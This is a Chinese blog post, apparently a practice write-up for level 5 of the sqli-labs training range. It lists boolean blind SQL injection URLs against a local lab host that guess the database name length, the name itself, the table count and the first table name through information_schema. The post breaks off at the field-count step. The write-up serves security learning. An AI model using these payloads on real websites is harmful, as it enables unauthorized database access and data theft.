Sql注入之sqllab第5关使用函数练习

目录

相关知识链接:

相关实验:

sqllab靶场第5关

猜解获取数据库长度

 猜解数据库名

 猜解表的总数

 猜解第一个表名

 猜解表的字段的总数


相关知识链接:

原理

SQL注入之盲注简单总结 - Zane_S - 博客园 (cnblogs.com)

实验步骤

(54条消息) sql注入之盲注_sql中的limit 0,1_哇哇**的博客-CSDN博客

相关实验:

sqllab靶场第5关 

尝试报错后会发现 ' 可以报错得到字段个数为3,但是使用union联合查询是不可以的

猜解获取数据库长度

http://127.0.0.1/sql/Less-5/?id=-1' or length(database()) >8  --+

 

http://127.0.0.1/sql/Less-5/?id=-1' or length(database()) >7  --+

 猜解数据库名

http://127.0.0.1/sql/Less-5/?id=-1'or mid(database(),1,1)= 'z' --+

 http://127.0.0.1/sql/Less-5/?id=-1'or mid(database(),1,1)= 's' --+

http://127.0.0.1/sql/Less-5/?id=-1' or ord(mid(database(),1,1))>90 --+

ascii判断大小写

 猜解表的总数

http://127.0.0.1/sql/Less-5/?id=-1' or (select count(table_name) from information_schema.tables where table_schema=database()) > 2  --+

http://127.0.0.1/sql/Less-5/?id=-1' or (select count(table_name) from information_schema.tables where table_schema=database()) > 4  --+

 http://127.0.0.1/sql/Less-5/?id=-1' or (select count(table_name) from information_schema.tables where table_schema=database()) =4  --+

 猜解第一个表名

http://127.0.0.1/sql/Less-5/?id=-1' or mid((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1) = 'e'  --+

 http://127.0.0.1/sql/Less-5/?id=-1' or mid((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1) = 'a'  --+

 猜解表的字段的总数

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值